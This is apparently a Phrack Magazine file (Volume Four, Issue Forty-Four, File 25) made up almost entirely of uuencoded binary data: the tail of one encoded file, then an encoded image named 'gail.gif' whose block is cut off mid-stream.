M_*0(SG*3CWZ",2N3:?C)JK(R3PZF/(CS+V8%X:#C691SAK8I=ACB]?0P!_FM
M+9L$5R13-MK"%_^-1XJ)S[2#4,CS/&-J0!'&!8$J,>OE=5JC<_)-B33N@_^:
M#RD8#6:J1L08@CH #;4NZS<[Q@:I<>XRK]KH#TD2E$!GPZY>,3XRI9.<94(I
M%)4LU F1I<8^KUUJII).C]?H397\S1*A""]*5%Q"@[VL[A@K*RQ_PS?_)%3H
MZS-'TCP-#;38R(>B=)UZM),> $B#=(,230)'5"ED[.4\PTY.5&EN\M1>8TAE
MAB6FU&?^\&2PIR9 Z6[ IF&BA!ZGDT#A\-"<K@TCTBT/5%,:@DW;5.6$!W.
M:XW4T4$U;P?9 ^4^4T8-]$0NX$\EY:9$0X(,)YR6K3DS-/5B,KTPZB$[[/7*
M35*/#"$K52$O-1HU9@>G<)Y*];_HTTP9E9T@"57_(\6&NH*1:"*9PA(SN DM
MJ5 I(;) M4;@GNX^!5.5HE4K+/57A<N,-)7 \"TEF,Z:0A,J:E0VAD4OF)4I
M2^@PY*2D3"LMQLM^F(4SSN653)5>&44@U!17*S1A0H\ZQI5<Q26CY&H*?^M&
M W8%)V11X]0OYA5-1Z*S\!4LX\RAFF64ZI&O2J@RQ.EL0G/;XI0O?0R-:L2D
M!$*,,I9ARY6T<(O2@(O<,%$265992Q5CA30_?_!0])5%Q08/Z6MD:[8PQO)>
ST4X559=&]6^EFS@\"UF36EF:79=W7+-Y')8.?4^V1)'S8M)M/:)7$W%"$6+
M+ F?O@?P^#124D-GJ.5X_Y)'1]U"[<Y'KC2U544*W#P,JF1V:W,U(FUV"E=)
M5,7V79%U8N/C; VWKR(J.?&&1=TV*^OQ9Y'R6 "M6J[E2=GL)AR"LDBJI S%
M1TTJ<%=I< GW= AS<0\79_=&<S.&45?O06N51!OV=8\J_4 T+1+CD#P&*]C0
M5K,588;'?\K)6=CO1DK"D[0(>JTE)0'H:@D,:Q<-<G\56[,U6,\5= $O4AU7
M-HPU=V%">XDELF+QF9!NK(#J:'$Q<R]64A[$7I47@JZ.SK!J>:$7]*H'8F^&
M=5O7=BD0-+&59G!*=D528&62@-,#?<VCT^3+4!'.N("JZ_205F$)&7VT?2T7
MJ/^TM&ZC"40$C-9J2H 'N!H9]X"7\7O_UY6.=P\/K4_-%I6&:H+!JT7#;QZY
M<(;'UUN)Q!BW GJGQ:%89W]%&&6L%Z_0-0&S=H"-*9+B]70>%G%S=D>1TH'#
M94K-]%VMR8"$*,YR>'CY*46[U1Z!^+;:ZU"44\YPS&1^$%$,T1=?#GLF:P)0
M&(IK%U[-\QF=SHK_+8:')8WY@HO==6R-*3_?*Y2VJ6N>,W-IF*ZRJ72;M_TF
M2CG%"1CUL57KF(GQ^(GUF*]H)F< .9Z$)8I168,8C4_/U$XT4- 8F5_N!Q=;
M>8K;:<A,-S,]EYSZUU P#:_J>,;LV(FS-Y1%>1G5R __>TLD:7=\;3EP5GE4
MR7?/FO(@\M=0 <KF<K&9"?F)YO3E.JF+VCB.$24E?[FF@OEE-3F/C1E-]JN5
M%-@2T7&=NODNHCENAS/JN@?%NDDZ/*8W4+$KS[26VZB!FAA?4TIZ3U>3$=>W
!K5<B/E'(#B4"S-3T>E_P=;X=E>0\^*>I?D>KRN63FRUC#:)"J2"CC6?F[G<
5,FW $A&*!FF7RYQD<RAJ4Y)V+F=*3&9A15T<2MLI5A\H0=5T9BKON,P4 N$
C1ATU"RE$;F>]["N'&V8-TZ9 ?G#;K:$_8Z3(R"G=5JX6*HT4Q.G ':E^QB:
.8R !KIDE2VIEU1_.$)/A?-,_[R8?MLR80 WS39UGNK+A7UQJT^JJT'YJP&,
MIR\:JMR*(1G6HQ<UB)$EB*;J]/ZEL>G:K*?9AZ5Z3D]*.\D:OZH8@ &[TKR:
ML-LHK'N:IM&*HU&)L<.T1&A#Q%3QO6)5KLF492.W@6%#:^QXF*W8M<X)5"^:
MJV]:L(OY8*'8HMVJ!_<:Y1:;-FFT4ZVRI&5P#7OXJ0]Y9XTW;G/0T5Q:=5W+
M7(%;K(5[QD8[<& JA6-,KY;YPV"XN?>XL0DGNM_XLI"6!=?RNDLRN^'[1+B[
MNS.:>4Q;O -[M\N[88./H@,<D#M[GF<SFL_Z=+;0Q)B-K.:SM2V45O7;5KOJ
MKU47M?])2:_.%9T)?+#=%(MI-K3X]JH1.[C:U,$CV39MHJ%*.D*(R6*E&<,S
M'+<UKXFONJU<"\2%5<3)F\1)FS*1VZJ].VQ5&V;&R.O,NB]EG,*SQ\GGE]\4
M%$[I$Z13Y+1[7*'2&\0%C*K'HL"+7&!_VP^3'&Z#M,G+U*QCR>H\"L=$L,VK
M' ZO?%8K6\N[K:>YG+T-V[ 3N&KQBLS+W'4+]#M<.!A=Z0;/T\7)EUW=R)_C
MW'C$C&PK^W4A7<?CE=IN!:N5>]$[&\@+D.7R.J(?9:(+W9F?F[:R4Z\5=\DE
MQ=$O"M(I(G\]"F1$Q])#\\7KZB$+F$8OZH\W]84#?<75&S7_.WG,B3S5"]K'
M#)O#M1.,T!;6=;= -\W^#@B!XH9 JGNNAQ1WRO;"\_G1:538#YN]_7JYQ=KE
M.OF3BYO9&4?6SDBKE6S139Q=T=K:S^PE/K*1O>:;MKEG/QK<[[NHH0Z_9538
M?SJ\19V5@EL?F<S "ARJ]9QAORY3Z=W [%VQ]0XJ)KIB1L6-1QI&.1VS9WW?
MA7J*-09\#UO4-;6"SMWE9-K4'^77[?JX,0:Y.=S %I[CC2PY/IY[/>^#S3A&
MGYO*2S+ESSI8ZQ*U8?[<7?ZT_0YP,8@N'++.*=1GE3[B@IR3.9M8*?YQ-_JQ
MKVZQY)=4R;9PAPV;5OBST?W9%Q[(_WMPZO]F/&X7Z\]3ZY]LHQX6GG@;MY@G
M,%&]J[9&T%)LSL<TR[78G2<6W-L^ZC<>T).[H0<\ JK^\C$_\S5_\SF_\SW_
M\T$_]$5_]$F_]$W_]%$_]55_]5F_]5W_]6$_]F5_]FF_]FW_]G$_]W5_]WF_
M]WW_]X$_^(5_^(F_^(W_^)$_^95_^9F_^5<_(^3B'YQ'^J-?(ZK_)Z[_-NC"
M^N>"^KL?(\8#^K<?_,=?_+_?^\T?_;%?)[*?_0& _;G__*M^_=_$^>W__C&?
M_-]?_[L__/E?_0$"@$"!_P;^*VB0($*%! <"./APX<&)!@M"5$BQXL*(&3=&
M="AQH\B1#O\_5C19$N'%D"!%EGP),Z;,F31KVKR),Z?.G3Q[IB3YTN7%ART3
MGC0Z%*5*EBN7'O7($.11HE.I1O68-*E2EBFO5LWJ,ZS8L63+FCT;4ZM5J4A5
M%FWXM*K7K3^CFLPH]^W:E4'=ZD5I=ZC:O%G]HCV,.+'BQ3@'!V;+MRA6PVHC
M"YX<V.+$IGB_OH7*L>]?NG9%UXW+.+7JU:Q[.E;*]B/FR7@K4W8:^_)/S:4W
M&\4X./CFSH";RK3=DGCKY<R;,WX=]'?HTY\)2]18>"IRW<E_1]YMNC1@CJ^1
MHW:./KWZL-"[PL48_KSYM>.!CF_(72]7J)HQRQ4^TWQWK4=@@0;_'@<:3->-
M=A^ GOUU77Y22?A8;Y#Y)YZ#:?%GWX$>?KA>=O6])YUX]Q6'%7S8,;74;7<M
MV-:%$'98GXC6,0ABCCJNYMM_P\5&'F?*D:<@<<.-%)*1EREWI&\]-MF1DS\R
MF6244+:W8Y9:;LEEEUY^"6:88HY)9IEFGHEFFFJNR6:;;KX)9YQRSDEGG7;>
MB6>>>N[)9Y]^_@EHH(%"N1N2/]+D)'CT]0C<H4%2=&1RAK:H%:&'7NDH<)H^
M2FB0W=$7W89N8<IHH5):2>J*I9+XZ*9KXL95;[$6J5V27W5HHW&W?LHJ7-_9
M6%Q\8,GJ4JT)FKC5K!3JAYNL,P)Y8J5O_\*Z:ZT!%HMBM<Y:FZUG@BDX5[<6
M4A>LA=]J6R2'S#Y+ZU6XO@LME="Z6:FZF5V[8&4F2IAKL_-1BZ"P0!V[I'?%
M_LK?<36&*BZRW $+L6$)F8<EFO6&IYMC2@9,7<1/S5KA=^VR&ZYIO.UUL(N-
M;;OA:!KJRG*W"2]\;)L7=WPIP<"2FUFFK=[;\4DUVQ;IBAR?C*O0>048L\ \
M-UIEJ4V:&FJ]%:=Y\[HZU:8SQB<_39I^O(Z,KLBB.96T1K<&IW7+/I)=]M?5
M 9G=U6=FS:U-MIZX[W[VXHSQV/'%;+:BLD'(*]Z2<GVMRZ!I*+.]M$G=;)P"
M[LQTWDYK'BV\)?]"=WG:9..-8<-T+QNWV^3VN[ITC"/+9N@,OJQL[<S22#BV
M!C_M<8DDCWNZUG^SSCF.O4\W[O#VV<UET9(NCCM1JQ+95V%/7JGJ\T;O#G6C
M4'<Z>M3.@YHI1(Q2OF2JZ7*-ZM2<1GH^]E/6+"B>]-]=?TWWYT_G_F7Z/RC^
M^0F 8R+@GPPHP 0J<($,;* #'PC!"$IP@A2LH 4OB,$,:G"#'.R@!S\(0DM=
CU2/@]3[^@._G*4*>]434HI$U2L0RM!7*B.<UQY4KA'A$'--ZYS:9@C$&%GE
>.3#UK!R>$3@\=!TR$-7$(,HN_,8;C^G\0_%5I>@G<FM04_L8H,\IS/_R56Q
+EF4&!.;5CGF>9&#1"O?] 3GLS@.R5/0"V,<>[C&)T:Q9.F:FQ1E4T)6F8]^
$&M;'KVXQP&!2T6*_"/,'%FYS7UO:8><82*32")^[1!D1T2=#7_(MTI^\)*Z
 QH2C>BY]Q3,E+ !'"5%:<&BJ5!]$VK?J5)X2TS]3$IT9"'U7 7+8$Y+F,2$
( *+B<P['3.9S&RF,Y\)S6A*<YK4K*8UKXG-;&ISF]SLIII\B1U3V=)JDVKA
_CI2J#JFSU&S[!3XOK?.7,Y1EN[4Y0\IA<_WB5-4DXK?^!9GSO&A$YSA1 SQ
0N87@#6,2N?<VT)3N=!U*?1WG029R\:6RL[D_XJ/L"/B0:L'4FV]+G>'^>BY
+!.N0H*E8B:%J$<ERM&'YB9Z.<0/C&0JTIAJS*40K:5/4T?25_I$1 +BF^)@
L]+[Z>N+0/TD*T$'1IXY:*DB6U9/0^E#5Z+Q<<'ZJ"J7][>RY*>H.^5=A(1B
T5#^BZ>(TQQ4V54Z'V:Q9)YT(E8A]U0:L2VIAI1D4<<BT+ :-:ZMM$Q:RZ,\
.<KQ=*N"JF(5)QR-*:UXXORK\1+;6,)2Q;!]K>SLELFQL+T-;O^:"Y80>T,
08ZF=]TB'X\*R$4R4K3Q^VSC!D<7O+)-D5XEHV"QRA.B"K:LMJ7A$)7:-5=2
+*RL?2M3%Z791V;2J_]$A)W#E-<WL*%-I$.+I&79 ];BXK:0C&1I<EF6-=+A
R+JB/>5Z*50ZC^+.N5\E&>GF6MZK<FZ)X#7D=R_)7=71%JP$;JMUT^M0]QY8
=*YCZXW\VU2-IK6^30V;A#N[M7<"LWO92^?V\.E:[7F8P_;T9SSWR1!ZKM!]
 3UARM"W3N_]#) L!J:*"?IA>,*XPSM>KS?3DD#0*O/'*Q.@D.UT9&LF>9@-
7#*1GPSE*$MYRE2NLI6OC.4L:WG+7.[R_Z;63A*.<Y U7I\ZX>EB(7DYR'ZC
:'BYU]&,6B2E>EVS A_FX*?:-:B':R1Y[6SD-E?X85B$FX7G.S G YI>@N9W
,U$+/=Y88:YNBUZ@\]YI/25I^HW/G7%V"UKI0(?/O@/S[6TQ_.D4*SK4KPKD
H*GXF?-2-M4O8G7^5IOGBKZRNN)MKZW[A&LW;Q*4D%ZP)('[ZSE=>H1B9O;\
?F,U/Z*&8A'1,MK6OC>UL:WO;W.ZVM[\-[G #("  .UZP

end
```

==Phrack Magazine==

Volume Four, Issue Forty-Four, File 25 of 27

****

```
begin 777 gail.gif
M1TE&.#=A0 '7 /<         50  J@  _P D   D50 DJ@ D_P!)  !)50!)
MJ@!)_P!M  !M50!MJ@!M_P"2  "250"2J@"2_P"V  "V50"VJ@"V_P#;  #;
M50#;J@#;_P#_  #_50#_J@#__R0  "0 520 JB0 _R0D "0D520DJB0D_R1)
M "1)521)JB1)_R1M "1M521MJB1M_R22 "225222JB22_R2V "2V522VJB2V
M_R3; "3;523;JB3;_R3_ "3_523_JB3__TD  $D 54D JDD _TDD $DD54DD
MJDDD_TE) $E)54E)JDE)_TEM $EM54EMJDEM_TF2 $F254F2JDF2_TFV $FV
M54FVJDFV_TG; $G;54G;JDG;_TG_ $G_54G_JDG__VT  &T 56T JFT _VTD
M &TD56TDJFTD_VU) &U)56U)JFU)_VUM &UM56UMJFUM_VV2 &V256V2JFV2
M_VVV &VV56VVJFVV_VW; &W;56W;JFW;_VW_ &W_56W_JFW__Y(  )( 59(
MJI( _Y(D )(D59(DJI(D_Y)) )))59))JI))_Y)M ))M59)MJI)M_Y*2 )*2
M59*2JI*2_Y*V )*V59*VJI*V_Y+; )+;59+;JI+;_Y+_ )+_59+_JI+__[8
M +8 5;8 JK8 _[8D +8D5;8DJK8D_[9) +9)5;9)JK9)_[9M +9M5;9MJK9M
M_[:2 +:25;:2JK:2_[:V +:V5;:VJK:V_[;; +;;5;;;JK;;_[;_ +;_5;;_
MJK;__]L  -L 5=L JML _]LD -LD5=LDJMLD_]M) -M)5=M)JMM)_]MM -MM
M5=MMJMMM_]N2 -N25=N2JMN2_]NV -NV5=NVJMNV_]O; -O;5=O;JMO;_]O_
M -O_5=O_JMO___\  /\ 5?\ JO\ __\D /\D5?\DJO\D__]) /])5?])JO])
M__]M /]M5?]MJO]M__^2 /^25?^2JO^2__^V /^V5?^VJO^V___; /_;5?_;
MJO_;_____ /___5?__JO___RP      0 '7   (_P MQ;)E25(M295D63IH*Y(M
M6Y4>/EQH:2)$BK(J28JT,5*;.&U"BAPILE$;CQY)EOS8*$[+D"99@DQYLB;*
MFB]KMFEI\F;/-I)VSG3DLHV;FQX;18JS5.G22%!/0HTCJ25*CE@C.8*JM&/5
MCI&Z0NWH%&I6KU@W5N(8"ZK&2&LCQ:K4-I;!2+7&FDW+%BY?A!L;2HHE4&-(
M6];^_=OF;YNW?8O_^?NVSYMB;8K]98:<^=L_R]\F__L6^MNVT:B_@?;,>O3I
M;Y8JQ;X($7"MBK4(VKI=2]?#W+EW-Y15*Z,LCCQ=!N7Y,23(E3!!OJ09TB/(
MHC%-OGQ^7>E.[3C#^__<Z3%H2J1 EQ(-ZY)I(SE1FSYEVI[K7K#KH<IIM/$D
MV/]FH=414QNIU=%!<"%$&%S'8;766WZM!=A]>K%E"4?^1;+/-_IP^-@_&S8&
M(F6F*4;BAI^AJ%IEI'W6FFJCF<8:B:F9^(]NLM&FD4: Q5:1;KE9XEM$/U8D
MBT&2"(85=R>Y45-[1A7%I',JQ72=4,UI)]U.0H''')?955544NTE1]1/5]5G
MTT;NN00??%)]%5966NU5(9T XLD75!=&<J&"8$$U%X4!.DBAA'-UU&=*VFC#
MX:,;=L@9I(I%AEIJ_JA8J:/_<-H::*D]VIAHWLAV&T2H$J30;7XV9$E%L$K_
M5)&IJ$:4I)]VG97<3D&=!&4D1V'YTI=Q. )3KURJE)))6^WD!GA [70FE\8^
MU\<1[FTU$PV2>4K3NUMU8A2_*'$5"3P(?=4@505NA1:>MJI5Z!@7;@@5HNV
&]=9 3YH8%1M-#K:/MJ<5MF&D5(V\,*4B0AB9"=RNJ%GKZDX<:>CB>:99;$2
%"N124IRH4 D$Q11<+[I1A!O#^%:(%3&AG6MN=,Y]RQ(QC9R5$QAP1364<%&
:Q1U.2GUK+ L=7ME2G)PV=]-YDE%G[K^>:?NG$JUN]6<4SW]\LM_A5WH77D&
MNNB["?)9(=C]M?$09OI@K!EFFC$&HC<=0KS/:15[_\.WB)ZAR+=GJ+V6*6E\
MITBBGSY2)&MN)XM<4&P&260Y<(Z[2MQ"2 9HTWM6G\033^RU1)2X.U_K'7,_
MU;1<L= EJ[-*PDKIT;75R61253YM1"[OR*'E5+EL.A5H6>5N#?;:_>[Y];EL
MNZ4H\Y+,I.%DC7*XV.$AGH8:PH^U!C'$HCD6(N&DA:BW9">RML^LNOT8G*JO
M"L;CR*<&J;)P)U?DYUML*U.X@$7 -IR.*DIK"E.BA:[R<&LY.G'=1XC2!MS]
M2G3<2AJX0%<F.&'(/TTRE[B*XCO?::L\2RK7G3A"(+/ !RSI8E.\IK(G!T4/
M7V9YCF,^DS?P)0Q%CKJ8^_]DY*AMM.9O1_S,:<KW#TDIK&(0*Y!!+$$<6R3)
M<K*RXI\T,K*"1.0WL:I?1!+"1<!,J"E->XI-U%0LD%R+@C/A5AS/1!4$/DTF
M[$D:E)96P914CR5RD!(%;Z(M;P7(:EBQRGQD2,.];(V ;7*7?E;XM7EEA4!Q
MJ9?T"A621EE&&WXK&&821\K(#.XUZ3LB:YCH*!IMPXAY(Q'@.E2Q;S10$ALI
MB$1D@458P4HA@-G1JY+4L=V$$2(9F1"@FN(<ZUBE@KYZ9ARF"10WRO$C[Z*2
M==S@IMM)T$TM$1,'#9DEF?!*9MK9SU5V1I_\U!%;VT)7'.##E$#*,%U+RB=\
MCM+_0(Y R"\L=-Z^@BF@M(&D(1@+HM\:PQC&(.Q$>J,8Q(PXT8&5YC(*DV@I
M240BOW5J(_"9G)^2],53Q<]CLIE<041VFX\11!=!.M4OZX=+"%GP(TUKCS4K
M&,?KZ+1Z;E(3NLP9Q^2\ASVWVXYWV+F5>9IN@3V)*DBJYYUNGHN>-)Q:UJI'
MP_] ;UV$ NG8VI7/__Q3+P_*2DM 2<I1FG(QE G?ADY3L,48SHCA\QN)=CBX
M?6"OB83S7BF#B+CJ2>)-(Y4-,2UR4AR]K(N\Z5A%= $_BARD?Z[JFM+B:!V4
MI)%;/FE/4!#X+J?.<R8S,\E^I":N%][..KZBYC23DR:K_Z1K@4NQR6T=B-M^
MHL2K>FDAF\!2QZ>4-BUG]9,_T_:RH^A"&WX-C?DL$S[%U/*Z+W)EC$;C#4AY
M!C,(LZYGG B9T]#2NB(2F6$/^[4+K>Q'%CFF2"4G.53![U0Y<IS_]KM'I6&S
M.3JU[4N >B;5X6Y;X<Q=(+-JE6G2K#S- 7"PW/B2-UZ0@%VI#S^5$TYM<1.H
M!2QN-8>K%WS6,5#G,NZ$,KE<-N5&8)_LU*, *RGNA<:'1'3-:(JX5]1PJKL=
M"C)@'^I$OLGU&^K=D6&Y.%)=^C)^E&V<;&3SO]D(9R(ILZ]^36J6)W56)@L,
M\ #) V&M@+.-Z[$M2K@).G6&</\_,_N(;)4:1U^9ZR1G4D]]F@5)^?@V/?5<
M%WT6.-RI\3.'SUN>< L5%UL\-S2BQ)C=$C?*(Y<78^6=JQ$/]JAM])!&#_6A
M=4<3-X,]<63JG:]R+Y32+QKSI+ZD[TI?1>N.:6(BO$&(R0KSS@';62CQ!/"P
MF,).H]9'M&5RYK$9N$8Q600 .+V.>;(UX7%B:#X*;+  XX,2TKEG0,!37IV:
M:EP[M0LL.U)NJAJE#5;N>!N5@;?"+DVIOOF58) )[ZCEO;?%C%)$CJ'KB"Z-
ML/U>%B$*24N2)0=?E?G25#ZB,JUS5 G?Z.+641Z90VB=U6[%C)M>YJP:]7S
```

```
M G>EPO+_!.H?@44?JK9K@=&4K7^GLJL&MC'FM*5/;)O#U06W"SY'+98+"2CN
M1%9R>4N"5R[-PJ%MN!7>,=J07O7:F!)]PU%%MCK635-+RS"F1+4TI8SFVJ'#
MY<ACOFPR0>W0HY&].A>.KC5!&,[D5T'<%K=NG!B-R28/.ABW,J$C'9,3Y@9+
M,X?/?.W?PX7;H#1M);"]IC:?1-3M$/*_\P&M (W-P:P5T+#T:;"*D^XNM,#'
MT1L29< SY3>^/?0U%C5-=S^C8ZN[IGU7=]'71QG7AL8-1 :3,OQTL^J:&K:+
M*3VF;S3Q9%]2CM:P_E/]7M72;3TGMU/#YKFDIF;M-Z5 HLLI_S:QJGBBR/ H
M?T13M:]4G\NS']K8;\YY8.(MQAOU6M,VUWP:S-4Z)IY"=H8N8),$2= $:>!:
MDW-%$J$+V\" KU0PLF=$$BA[I%&!6X<98P=V.A8WFL$9FY8^NZ -7C0KTQ=9
MNX9+""$'EB '7'1WOM%P>5=K"0A]>2<YR1<1FG ;] 14@R9_>S05V<(3]'02
M]&05_==_#3:$TX1;$X941J$TB:<33S%(UX%]2[B$HN=]>G1_. <ER')GOW9G
M3W$46)4NNU5/@W9+YU9<C^<D36 4;]@$3H MUB0'N)06,ZA+5F0+MV +VL"'
M!?-*@LAUW\" S=$$,BA9.()2J*9<;/\G=S]"6; 6/Z\2"8^H&\PW@T2"(WUR
M6A\!8E?80%)A<UWF<M.1;.UG<^P2%%S57&GB0&C43[@5>D#'69@')[]B.OI7
M3=/"BM%B'E,32/Y1'SY7:(O4<H&&6 VT@R>&2U1A6$TC!VZP7B"E7C\G@';X
MC"B(6([WA$G0!G+8!M]8@&G0!$YR6(Z@@NJ%=@X7??LE4J@V?9/5<%DV3*DF
M1G;71218B99P+E,3-?&A?786:(/&5;\E6@J455-S26"5?T*H;)ZE0+$%%4"C
M'OHG>O2$6$%87 NY?? $)RM'?D-'*(U4DOS"-E\C10K'$7;($;ADAR@H1=#(
MDH>%+H%TDQ___.4\I-T\XF2 I95_[(XF4J'$)F%\DU7"]1#D_&1$9)U(GE6LL
M5#Q/,3-<01;T%&980T /EAZNM1%;$XQZP5K$9A;B9EAB@1SCHDYD22"^XG)3
M&1\<.4EG:"=ET4CPHA=]TB=>H1&Y,CTXM$6#<71A<X='1Y@".$^@EXV)N9/V
MI),G5A"KYA!$$E-% FOJE4L]HEC[@T41P3@;QU@7<1 ,H3^VD"L4R4)\5D)?
M95P+QHRCYUM9]9;RDF*\XQ3,)D-9$R?EHDYM-A89AC;IH11O8H1H4WK%V4]*
M-S;&:2A[>1:9U!9X*1=Z.9C(%9,N:9@O<UMBU9HZ:4^':9!D!8^;_RDD682/
M7B0R&A$'/G)EDS412CD;/_)%[TD8[*DD2-5"+50N(Y9BW)9#LWF7YB8OY$=:
M%5(N*68]7/,T_.$KRN,4.T@A7T569)45^)2<+BDH@!D7?])B$K(62E(;? DA
M%W(<QS$<''$<(QJ8@[FAJ_AR!G(N>5EN,(J9PI01E"@K%G<1$V=W"$&4*_,;
MQ/<G!X$;E7D;@;&)PI&=:=%"=&(GJ^BDD[04G7@?E1!H[R(AN'65=P)S14$2
MSA-0PR6<_**&2TIZRRBE7[J2EB0H!;(@"-%B"+(1R607R41&&Y$KP\&7!7(<
M7P- RL47&K>7YY9T7]6*U#DYA!$<2 DKNO] )$22%G:P:OL#.9FUB?,3613'
M6!'ACZS92%WIGXC6I,@97/ "(0-BEU,182+!!N#8!-_XAB+!/&EZ0RLD+WTB
M(7O1H6,Q4&>%)&MQJUC1$ W!('9Z65#1(%,$*&N1$;@RHLKU6-69-F;QJQ0J
MFP$%/76Z="+C3Y*C$(S5GM\J@\\JK/)UF6X7&Y+8J*ZB$<#!6/_(J2A6G&8(
MJK[E%4SZ+PQ9'XH4$JR:!$R0!&Q0@$F !$@PL$B0!DC0!*RZ1GL"'W5P3S04
MJ:.G%B>IH732)WR:$'BA7,FD-@Z!*[Q:IQ_+KKET+[E"1AR1%],S1<^J9,=*
MG9OT%_Z8GJT2,E3_M$60V46I4G'EB8EHEV2T%AQY=Q$2IQ$JDW$MJ!MP5PM4
MID]C8:5JP11K$0=36SV5 !\2BT\Q)*M30B6#-K A4;#_^J\%VP1HX*I,((XB
M :L#":8-U"==J9YNP6CTDA4N^Z=O 9GW\K$@VSD:=UD+(IJ$,1<9,;CNA179
MJF1OD:T6<B21T"##6DG<BJO]&%!RH$5SQT4)UW:,,WVITDLW>J'>^A!#FX /
M.V7#!W%5]A"2"+%NBZ9HXUH.2R]4<;5O^B]O01(!&[#^^JK\*K8#FP9D.[ $
MB 3B*+P#:[:P^H90ZZ3[ E#.^:?2.K>:]*Q^D2B/FQ (ER")0A<7(IK-_[IJ
MQ>JK"Y)9PJI<=FJJTXNK!>*GTNM/!$*U;[IWL*)8PX05D9J/"OB"I+N(%]%V
MQY1WM6"'LQ9&+X@_BU@);Q&_^G%BZ))6U(N'UBL]?R)%.=&[X-B[*5"P95N
M 8L$:1N\WYBPQ%NP"%N\8'NVHZ@7R)IN[2LOQ\JN?VF]")(7W$JX.](6(:H@
MA6&C'XM,R[HCQD&RK%(8!H(@1"E,"=(Y+ML@D(E#7QH8&U=9'L,X]MMD>J=?
M+Y6(#[QQ*5,D/(JZL)(;MY92?B)35<R-_/F:9Q07STNM';$O3/&O(4$"*(P$
M18 "2) "28 ")4R KDJ\W]@&:7#"?\S!Q&N 3/_ ,P)2%X'BDW^Z*!N!('R:
MLMKZL;XZ&-YKR;GQPP8QQ,G$$$*L9 >'%R5+17D[$'[QIGWA+]'YQ.^+;F9#
M.6B\$">%NI;8N7 Q<3\*4P\A<>A)3!5Q:[?V$'<X@NV(LR8U96\JOQP:QZPL
MIX_%-F_1$&%KO&1; BA !"5  G;\S=[<S4E !"E !$E@QT6 R 7;!FC0!NIL
MSNI<CFE R#Z3-D'<L5 QK$0IOGU+LM0:&_FLN!FA<>=[&X9[&X5+,H1A' 4A
MFJA<J3Y,T$I,.7!JMY6\=!,<3&H7M$]&)(EXM;*A@JAK$1C'C[M*?41*M!?R
M0OD%I+0F,C;ZRR.C+Q[_6WJZNJ%982]] H[&*XXE;,=(4 )(0 +=3-1VC )Y
MG-1^3 (H -1@VP;E;+#%B\AG*[PAD;8A(0G)E*T'MT49>\GVXZLCD[[NQ:X4
MD:BU L2HXA"G(ID*04:[,46)2E)O'4RNHDQO01B;')E;9+WM6TD1][^_W+,D
MN*UC37>5^45FE+='ZV@FLW3NY=B4U9D]NH@ ?;MG@2!_JG1\F;T7K1(%:\[;
M[,U#7<[>[,TEO,$E0 3@O,T;'-4'*XX!*XYT#*OR3,BLBE:#X=5\'1NK@IXV
M"M=N348D$UDLTS^4FMS&=-S+;4QG/!A 7+Y2;$68G+X3<MAJ@]?<"L5WJI2U
M_X+2P$%9418_BXUP%.'1O]$Y/<JTJ6++F=6^@RT18T12OI$;*8@GN&JJ!^?"
MIIH03(&PY5C'0$W4!%O414T$*!"V TL"0=W4><S-0^W-:##(A,P$:3#;XEBV
M"<L$3<"\<>(RPHW*G]R9<=W)#C&X<(W<EO5>^;/BMIP_PA$<[7HRKT;B E&:
MI7FSY2L8)#/1RV7$NOHO^MPC'[NA\3@YO70;%#=,S"P_6;2M!1(K)B4D4\:"
MD AW'N/0<0>5THNOF W8?!T5:'OA38#:'&S4$<[43QW.I,W@JUW.W5P$=DR\
MQTN ?WS(X B.UJ,60VQ,ADN?HLGBCC.93MZNAE[?0/]ZJ4 *I+XLXXO^H[5F
M@A)7Q,]-95266?O\MW+ZLBWC9#Q2G8TE7W<]UHQ*GE06J2#M(XVJ"9O8LF,D
B9%3S3+%:GV*HLYYW=8[G=,$MH'<U.I,L.7<U"30!EA-VNHLR 5+ BE  MS,
X$E0C@@^SAN,['<L$N?B*@Y-J<C]HXYNZ+O1KC%^95=F#?,C'-K@Z$N+1;GA
R^&>&TM;)(0.Q(?=UA+]XVESN"B+3,A$J(;%$:+N<+-BV/!)$'E'%:?K)W70
V)D T$?NV(XMQH\#F9O>IU".0\=,Y)9PU;(MU01;P@3+X 2[$VS0!-%^L$Q0
L()<PMJ,VGU\SF9^Y@6KQQ[_GSMNX2/,?=R&7@O>KN@HT^Z+[LNY8 TIP^X2
D>[MGC+E+M\209D["Q&L(IE$BQ!/WQ#^HL (H1&\=.,"P2[K43WG&NKU&!LO
MY+.Z$:F2\+!U,-9X-^64D[^;^,74C2J]844&G>DMVT63N]NKAO('VP0DG+ ]
M_>MF"Q( F[P+:[9W7+RJW>!&30!(X,=[#.P(GL>'S+QTPC*.-IF.G?2V@.7"
M@>6(7@M_:#FC+^Y%;PV.EAO9L(!SS[J?[X<ZOQOLKC^._KD[&\K$@7 *3)1Y
M0>LT3D6G4D<?X20NJ<4W&U\$D5@&_'!P$5)VAW<5%Q$+_\_PF3+ ;#E^*IA&
M_C_!_SS*'*&PKNKW@CS;:?O!>AP=)M_.[ESXB#RPYLS4>;S:*^_4$7[(S(X"
MD#^P,\$35]3MXIX; %%-5RU;MFKI*HCPH#6"MA1JLP715BYK"+75@I@M84.$
M R42S)60H<&$!0LV)-BPTDF#EE2V)!C)ULJ9LERNK"0I)TZ=MBRUM"4IDJ5(
M;>0TBB,I:21)EII*FOESY4^73G/*M"3UIZZ53W7JI-I04\&L0NW(I%DU:-"A
M/MU&'1K7TE6B=655JHLWKM X;=HD0>(7<)/ ;-H8;H,$29HT?MLT$NP8"> D
M*(BD((*$1)+-2$IH1D%"].<DET<KYLP9<XG0GA''2=*F4O\DA"Y+#ISHT&3N
MW 1Q0]0EL*)!7<.MA<R-D&)Q7=J6YY:8+;ANW;4J<FSH$WFML3AG?J]UER1:
M6T/O6HHUM[S:W3Z%*FT324Z;I'$LG?_J?O=/IG6:3G6+*KV4DD0HJGXJ2!."
M9C,0*H[@HLJDK.J*BZZ<*"3J*Z8J22^2HHHJ[2\T*'M,,L :B00RR-!H@\4V
MTD""",Y,(^&ST4)+83/11$L!A1)(R#%(T4(CH;42B$ AB=@.:\(O#PL**;OB
M0#((HHMRJR8BDB2R12-MCANN.>: FT@YA[R$KB0OK5,HHH:B9(DD.5%2"Z]:
M?DH)/9]JZ>FJ[\ K3Z@VE$*JP*'_"ORI*:R@\FE"L]IJCRP-ZT+0EK%,:JI#
MK-XBZU"?$*I$O$CN,I"IN-:3:ZCTTD/1+\N:<#$-Q!8C 0G(_ K,,1,GJY6U
M(E H D@D@]T,V!J))')' D0CX,<=B[21B20(:Z,)-IH@:3B!?+-&2X<.BJBC
